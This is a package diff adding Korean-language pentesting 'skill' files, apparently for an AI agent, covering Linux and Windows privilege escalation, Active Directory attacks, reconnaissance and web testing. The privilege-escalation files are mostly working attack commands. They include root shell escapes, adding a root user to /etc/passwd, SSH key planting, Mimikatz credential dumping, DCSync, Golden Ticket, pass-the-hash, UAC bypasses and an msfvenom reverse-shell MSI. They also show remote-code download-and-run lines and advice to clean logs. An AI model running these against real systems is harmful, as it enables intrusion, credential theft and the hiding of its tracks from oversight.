pentesting 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,228 @@
1
+ ---
2
+ name: privilege-escalation-linux
3
+ description: 리눅스 권한 상승 기법 및 루팅 스킬
4
+ ---
5
+
6
+ # Linux Privilege Escalation Skill
7
+
8
+ 초기 쉘 획득 후 루트 권한 획득을 위한 체계적 접근법입니다.
9
+
10
+ ## 🎯 목표
11
+ 저권한 사용자에서 root 권한 획득
12
+
13
+ ## 📋 열거 (Enumeration)
14
+
15
+ ### 1. 기본 시스템 정보
16
+ ```bash
17
+ # 커널/OS 정보
18
+ uname -a
19
+ cat /etc/os-release
20
+ cat /proc/version
21
+
22
+ # 호스트명 및 네트워크
23
+ hostname
24
+ ip a
25
+ cat /etc/hosts
26
+
27
+ # 현재 사용자
28
+ id
29
+ whoami
30
+ ```
31
+
32
+ ### 2. LinPEAS 실행 (권장)
33
+ ```bash
34
+ # 다운로드 및 실행
35
+ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
36
+
37
+ # 또는 파일로 저장 후 실행
38
+ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
39
+ chmod +x linpeas.sh
40
+ ./linpeas.sh -a 2>&1 | tee linpeas_output.txt
41
+ ```
42
+
43
+ ## 🔍 권한 상승 벡터
44
+
45
+ ### 1. 커널 익스플로잇
46
+ ```bash
47
+ # 커널 버전 확인
48
+ uname -r
49
+
50
+ # 취약점 확인
51
+ ./linux-exploit-suggester.sh
52
+
53
+ # 주요 커널 익스플로잇:
54
+ # - Dirty COW (CVE-2016-5195) - Linux < 4.8.3
55
+ # - Dirty Pipe (CVE-2022-0847) - Linux 5.8 - 5.16.11
56
+ # - PwnKit (CVE-2021-4034) - Polkit pkexec
57
+ # - Baron Samedit (CVE-2021-3156) - sudo < 1.9.5p2
58
+ ```
59
+
60
+ ### 2. SUID/SGID 바이너리
61
+ ```bash
62
+ # SUID 파일 찾기
63
+ find / -perm -4000 -type f 2>/dev/null
64
+
65
+ # SGID 파일 찾기
66
+ find / -perm -2000 -type f 2>/dev/null
67
+
68
+ # GTFOBins에서 익스플로잇 확인
69
+ # https://gtfobins.github.io/
70
+
71
+ # 일반적인 SUID 익스플로잇
72
+ # nmap (interactive mode)
73
+ nmap --interactive
74
+ !sh
75
+
76
+ # find
77
+ find . -exec /bin/sh \; -quit
78
+
79
+ # vim
80
+ vim -c ':!/bin/sh'
81
+
82
+ # python
83
+ python -c 'import os; os.setuid(0); os.system("/bin/sh")'
84
+ ```
85
+
86
+ ### 3. Sudo 설정
87
+ ```bash
88
+ # sudo 권한 확인
89
+ sudo -l
90
+
91
+ # NOPASSWD 엔트리 확인
92
+ # (ALL : ALL) NOPASSWD: /usr/bin/vim
93
+
94
+ # sudo 버전 확인 (Baron Samedit)
95
+ sudo --version
96
+ ```
97
+
98
+ ### 4. Cron Jobs
99
+ ```bash
100
+ # 크론 작업 확인
101
+ cat /etc/crontab
102
+ ls -la /etc/cron.*
103
+ crontab -l
104
+
105
+ # 다른 사용자 크론탭
106
+ ls -la /var/spool/cron/crontabs/
107
+
108
+ # PATH 하이재킹
109
+ # 크론이 상대경로로 스크립트 실행 시 악성 스크립트 삽입
110
+
111
+ # pspy로 프로세스 모니터링
112
+ ./pspy64
113
+ ```
114
+
115
+ ### 5. 쓰기 가능한 파일
116
+ ```bash
117
+ # /etc/passwd 쓰기 가능
118
+ ls -la /etc/passwd
119
+ # 가능하면 루트 사용자 추가:
120
+ echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /etc/passwd
121
+
122
+ # SSH 키 삽입
123
+ mkdir -p /root/.ssh
124
+ echo "ssh-rsa YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
125
+ ```
126
+
127
+ ### 6. Capabilities
128
+ ```bash
129
+ # 캐퍼빌리티 열거
130
+ getcap -r / 2>/dev/null
131
+
132
+ # cap_setuid 익스플로잇 (예: python)
133
+ # /usr/bin/python3 = cap_setuid+ep
134
+ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
135
+ ```
136
+
137
+ ### 7. NFS 설정
138
+ ```bash
139
+ # NFS 공유 확인
140
+ cat /etc/exports
141
+ showmount -e {{target_ip}}
142
+
143
+ # no_root_squash 익스플로잇
144
+ # 공격자 머신에서:
145
+ mkdir /tmp/nfs
146
+ mount -t nfs {{target_ip}}:/share /tmp/nfs
147
+ cp /bin/bash /tmp/nfs/rootbash
148
+ chmod +s /tmp/nfs/rootbash
149
+ # 타겟에서:
150
+ /share/rootbash -p
151
+ ```
152
+
153
+ ### 8. Docker 그룹
154
+ ```bash
155
+ # docker 그룹 멤버십 확인
156
+ id
157
+
158
+ # docker로 루트 획득
159
+ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
160
+ ```
161
+
162
+ ### 9. LXD/LXC 그룹
163
+ ```bash
164
+ # lxd 그룹 확인
165
+ id
166
+
167
+ # 이미지 빌드 및 권한 상승
168
+ git clone https://github.com/saghul/lxd-alpine-builder.git
169
+ cd lxd-alpine-builder
170
+ ./build-alpine
171
+ lxc image import ./alpine-v*.tar.gz --alias myimage
172
+ lxc init myimage mycontainer -c security.privileged=true
173
+ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
174
+ lxc start mycontainer
175
+ lxc exec mycontainer /bin/sh
176
+ ```
177
+
178
+ ## 🛠️ 자동화 스크립트
179
+
180
+ ### 전체 열거
181
+ ```bash
182
+ #!/bin/bash
183
+ echo "=== Linux Privilege Escalation Enumeration ==="
184
+
185
+ echo -e "\n[*] System Info"
186
+ uname -a
187
+ cat /etc/os-release 2>/dev/null
188
+
189
+ echo -e "\n[*] Current User"
190
+ id
191
+
192
+ echo -e "\n[*] Sudo Permissions"
193
+ sudo -l 2>/dev/null
194
+
195
+ echo -e "\n[*] SUID Binaries"
196
+ find / -perm -4000 -type f 2>/dev/null
197
+
198
+ echo -e "\n[*] Capabilities"
199
+ getcap -r / 2>/dev/null
200
+
201
+ echo -e "\n[*] Writable /etc/passwd"
202
+ ls -la /etc/passwd
203
+
204
+ echo -e "\n[*] Cron Jobs"
205
+ cat /etc/crontab 2>/dev/null
206
+ ls -la /etc/cron.d/ 2>/dev/null
207
+
208
+ echo -e "\n[*] Docker/LXD Group"
209
+ groups
210
+
211
+ echo -e "\n=== Enumeration Complete ==="
212
+ ```
213
+
214
+ ## 📊 우선순위
215
+
216
+ 1. **sudo -l** 확인 (가장 빠름)
217
+ 2. **SUID 바이너리** 확인
218
+ 3. **커널 버전** → 익스플로잇 검색
219
+ 4. **크론 작업** 분석
220
+ 5. **Docker/LXD 그룹** 확인
221
+ 6. **쓰기 가능 파일** 검색
222
+
223
+ ## ⚠️ 주의사항
224
+
225
+ - 항상 백업 사용자 생성
226
+ - 익스플로잇 실행 전 환경 확인
227
+ - 시스템 크래시 가능성 인지
228
+ - 로그 정리 고려
@@ -0,0 +1,252 @@
1
+ ---
2
+ name: privilege-escalation-windows
3
+ description: 윈도우 권한 상승 기법 및 도메인 장악 스킬
4
+ ---
5
+
6
+ # Windows Privilege Escalation Skill
7
+
8
+ 초기 쉘 획득 후 시스템/도메인 관리자 권한 획득을 위한 체계적 접근법입니다.
9
+
10
+ ## 🎯 목표
11
+ 일반 사용자에서 SYSTEM/Administrator 권한 획득, Active Directory 도메인 장악
12
+
13
+ ## 📋 열거 (Enumeration)
14
+
15
+ ### 1. 기본 시스템 정보
16
+ ```powershell
17
+ # 시스템 정보
18
+ systeminfo
19
+ hostname
20
+
21
+ # 현재 사용자
22
+ whoami
23
+ whoami /priv
24
+ whoami /groups
25
+
26
+ # 네트워크
27
+ ipconfig /all
28
+ route print
29
+ netstat -ano
30
+ ```
31
+
32
+ ### 2. WinPEAS 실행 (권장)
33
+ ```powershell
34
+ # 다운로드 및 실행
35
+ certutil -urlcache -f https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe winpeas.exe
36
+ .\winpeas.exe
37
+
38
+ # 또는 PowerShell로
39
+ IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
40
+ ```
41
+
42
+ ## 🔍 권한 상승 벡터
43
+
44
+ ### 1. 토큰 조작 (SeImpersonate/SeAssignPrimaryToken)
45
+ ```powershell
46
+ # 권한 확인
47
+ whoami /priv
48
+
49
+ # SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 있으면:
50
+ # JuicyPotato (Windows 10 1809 이전, Server 2019 이전)
51
+ .\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
52
+
53
+ # PrintSpoofer (Windows 10, Server 2016/2019)
54
+ .\PrintSpoofer.exe -i -c cmd
55
+
56
+ # GodPotato (모든 Windows 버전)
57
+ .\GodPotato.exe -cmd "cmd /c whoami"
58
+
59
+ # RoguePotato
60
+ .\RoguePotato.exe -r {{attacker_ip}} -e "cmd.exe /c whoami"
61
+ ```
62
+
63
+ ### 2. 서비스 익스플로잇
64
+ ```powershell
65
+ # 서비스 목록 확인
66
+ sc query state= all
67
+ wmic service list brief
68
+
69
+ # 서비스 권한 확인
70
+ accesschk.exe /accepteula -uwcqv "Everyone" *
71
+ accesschk.exe /accepteula -uwcqv "Users" *
72
+
73
+ # Unquoted Service Paths
74
+ wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
75
+
76
+ # 서비스 바이너리 교체
77
+ # 1. 취약 서비스 중지
78
+ sc stop VulnService
79
+ # 2. 악성 바이너리로 교체
80
+ copy evil.exe "C:\Program Files\Vuln Service\service.exe"
81
+ # 3. 서비스 시작
82
+ sc start VulnService
83
+ ```
84
+
85
+ ### 3. 레지스트리 익스플로잇
86
+ ```powershell
87
+ # AlwaysInstallElevated
88
+ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
89
+ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
90
+
91
+ # 둘 다 1이면:
92
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST={{ip}} LPORT=4444 -f msi -o evil.msi
93
+ msiexec /quiet /qn /i evil.msi
94
+
95
+ # AutoRuns
96
+ reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
97
+ reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
98
+
99
+ # 저장된 자격증명
100
+ reg query HKLM /f password /t REG_SZ /s
101
+ reg query HKCU /f password /t REG_SZ /s
102
+ ```
103
+
104
+ ### 4. 스케줄 작업
105
+ ```powershell
106
+ # 스케줄 작업 확인
107
+ schtasks /query /fo LIST /v
108
+ Get-ScheduledTask | where {$_.Principal.UserId -ne ""}
109
+
110
+ # 쓰기 가능한 스크립트 확인
111
+ icacls "C:\Path\To\Script.ps1"
112
+ ```
113
+
114
+ ### 5. 자격증명 수집
115
+ ```powershell
116
+ # 캐시된 자격증명
117
+ cmdkey /list
118
+
119
+ # runas로 저장된 자격증명 사용
120
+ runas /savecred /user:Administrator cmd.exe
121
+
122
+ # SAM 파일 덤프
123
+ reg save hklm\sam sam
124
+ reg save hklm\system system
125
+ # Impacket으로 추출
126
+ secretsdump.py -sam sam -system system LOCAL
127
+
128
+ # LSASS 덤프 (관리자)
129
+ procdump.exe -ma lsass.exe lsass.dmp
130
+ # Mimikatz로 분석
131
+ sekurlsa::minidump lsass.dmp
132
+ sekurlsa::logonPasswords
133
+ ```
134
+
135
+ ### 6. Mimikatz (관리자 필요)
136
+ ```powershell
137
+ # 권한 확보
138
+ privilege::debug
139
+
140
+ # 메모리에서 암호 추출
141
+ sekurlsa::logonpasswords
142
+
143
+ # SAM 덤프
144
+ lsadump::sam
145
+
146
+ # 도메인 컨트롤러에서 DCSync
147
+ lsadump::dcsync /domain:corp.local /user:Administrator
148
+
149
+ # Golden Ticket 생성
150
+ kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:xxx /ptt
151
+ ```
152
+
153
+ ### 7. UAC 바이패스
154
+ ```powershell
155
+ # UAC 수준 확인
156
+ reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
157
+
158
+ # fodhelper 바이패스
159
+ reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
160
+ reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
161
+ fodhelper.exe
162
+
163
+ # eventvwr 바이패스
164
+ reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
165
+ eventvwr.exe
166
+ ```
167
+
168
+ ## 🏰 Active Directory 공격
169
+
170
+ ### 1. 도메인 정보 수집
171
+ ```powershell
172
+ # 도메인 정보
173
+ nltest /dclist:domain.local
174
+ net group "Domain Admins" /domain
175
+ net group "Domain Controllers" /domain
176
+
177
+ # BloodHound 수집
178
+ .\SharpHound.exe -c All
179
+ # 또는 Python 버전
180
+ bloodhound-python -u user -p 'password' -d domain.local -c all
181
+ ```
182
+
183
+ ### 2. Kerberoasting
184
+ ```powershell
185
+ # SPN 열거
186
+ setspn -T domain.local -Q */*
187
+
188
+ # 티켓 요청 및 추출
189
+ .\Rubeus.exe kerberoast /outfile:hashes.txt
190
+
191
+ # Impacket으로
192
+ GetUserSPNs.py domain.local/user:password -request -outputfile hashes.txt
193
+
194
+ # Hashcat으로 크래킹
195
+ hashcat -m 13100 hashes.txt wordlist.txt
196
+ ```
197
+
198
+ ### 3. AS-REP Roasting
199
+ ```powershell
200
+ # Kerberos Pre-Auth 비활성화된 사용자 찾기
201
+ .\Rubeus.exe asreproast /outfile:asrep_hashes.txt
202
+
203
+ # Impacket으로
204
+ GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
205
+
206
+ # Hashcat으로 크래킹
207
+ hashcat -m 18200 asrep.txt wordlist.txt
208
+ ```
209
+
210
+ ### 4. Pass-the-Hash / Pass-the-Ticket
211
+ ```powershell
212
+ # Pass-the-Hash
213
+ sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:{{ntlm_hash}} /run:cmd
214
+
215
+ # Impacket으로
216
+ psexec.py -hashes :{{ntlm_hash}} domain.local/Administrator@{{target}}
217
+
218
+ # Pass-the-Ticket
219
+ .\Rubeus.exe ptt /ticket:{{base64_ticket}}
220
+ ```
221
+
222
+ ### 5. DCSync (도메인 관리자 필요)
223
+ ```powershell
224
+ # Mimikatz
225
+ lsadump::dcsync /domain:domain.local /user:krbtgt
226
+
227
+ # Impacket
228
+ secretsdump.py domain.local/Administrator@{{dc_ip}} -just-dc-ntlm
229
+ ```
230
+
231
+ ## 🛠️ 자동화 열거
232
+
233
+ ```powershell
234
+ # PowerUp
235
+ IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
236
+ Invoke-AllChecks
237
+
238
+ # Seatbelt
239
+ .\Seatbelt.exe -group=all
240
+
241
+ # SharpUp
242
+ .\SharpUp.exe
243
+ ```
244
+
245
+ ## 📊 우선순위
246
+
247
+ 1. **whoami /priv** - 토큰 권한 확인
248
+ 2. **서비스 권한** - Unquoted paths, 약한 권한
249
+ 3. **자격증명** - 캐시/저장된 자격증명
250
+ 4. **레지스트리** - AlwaysInstallElevated
251
+ 5. **AD 공격** - Kerberoasting, AS-REP
252
+ 6. **커널 익스플로잇** - 마지막 수단
@@ -0,0 +1,52 @@
1
+ ---
2
+ name: reconnaissance
3
+ description: 정찰 및 OSINT 정보 수집 스킬
4
+ ---
5
+
6
+ # Reconnaissance Skill
7
+
8
+ 이 스킬은 타겟에 대한 초기 정보 수집을 수행합니다.
9
+
10
+ ## 사용 도구
11
+ - whois
12
+ - dig
13
+ - nslookup
14
+ - theHarvester
15
+ - amass
16
+
17
+ ## 절차
18
+
19
+ ### 1. 도메인 정보 수집
20
+ ```bash
21
+ whois {{target}}
22
+ ```
23
+
24
+ ### 2. DNS 레코드 조회
25
+ ```bash
26
+ dig {{target}} ANY +noall +answer
27
+ dig {{target}} MX +short
28
+ dig {{target}} NS +short
29
+ dig {{target}} TXT +short
30
+ ```
31
+
32
+ ### 3. 서브도메인 열거
33
+ ```bash
34
+ # Passive enumeration
35
+ amass enum -passive -d {{target}}
36
+ ```
37
+
38
+ ### 4. 이메일 수집
39
+ ```bash
40
+ theHarvester -d {{target}} -b all
41
+ ```
42
+
43
+ ## 수집할 정보
44
+ - 도메인 등록 정보
45
+ - DNS 서버
46
+ - 메일 서버
47
+ - 서브도메인
48
+ - 이메일 주소
49
+ - 관련 IP 주소
50
+
51
+ ## 출력
52
+ 모든 수집된 정보를 정리하여 다음 단계(Scanning)에 활용합니다.
@@ -0,0 +1,75 @@
1
+ ---
2
+ name: web-application-testing
3
+ description: 웹 애플리케이션 취약점 진단 스킬
4
+ ---
5
+
6
+ # Web Application Testing Skill
7
+
8
+ 웹 애플리케이션에 대한 종합적인 보안 평가를 수행합니다.
9
+
10
+ ## OWASP Top 10 점검
11
+
12
+ ### 1. Injection (A01)
13
+ ```bash
14
+ # SQL Injection 테스트
15
+ sqlmap -u "{{url}}?id=1" --batch --level=3 --risk=2
16
+
17
+ # OS Command Injection
18
+ commix --url="{{url}}" --batch
19
+ ```
20
+
21
+ ### 2. Broken Authentication (A02)
22
+ - 기본/약한 자격 증명 테스트
23
+ - 세션 관리 분석
24
+ - 브루트포스 공격
25
+
26
+ ### 3. Sensitive Data Exposure (A03)
27
+ ```bash
28
+ # SSL/TLS 설정 확인
29
+ testssl {{target}}
30
+
31
+ # 민감정보 노출 검색
32
+ grep -r "password\|secret\|key\|api" ./
33
+ ```
34
+
35
+ ### 4. XML External Entities (A04)
36
+ - XXE 페이로드 테스트
37
+ - DTD 처리 확인
38
+
39
+ ### 5. Broken Access Control (A05)
40
+ - IDOR 테스트
41
+ - 권한 상승 시도
42
+
43
+ ## 도구 체인
44
+
45
+ ### 정보 수집
46
+ ```bash
47
+ whatweb {{url}}
48
+ wafw00f {{url}}
49
+ ```
50
+
51
+ ### 디렉토리 열거
52
+ ```bash
53
+ gobuster dir -u {{url}} -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
54
+ ffuf -u {{url}}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
55
+ ```
56
+
57
+ ### 취약점 스캔
58
+ ```bash
59
+ nikto -h {{url}}
60
+ nuclei -u {{url}} -t cves/
61
+ ```
62
+
63
+ ### 퍼징
64
+ ```bash
65
+ wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 404 {{url}}/FUZZ
66
+ ```
67
+
68
+ ## 보고 형식
69
+
70
+ 각 발견 사항에 대해:
71
+ 1. 취약점 유형
72
+ 2. 영향받는 URL/파라미터
73
+ 3. 재현 단계
74
+ 4. 영향도 (CVSS)
75
+ 5. 권장 조치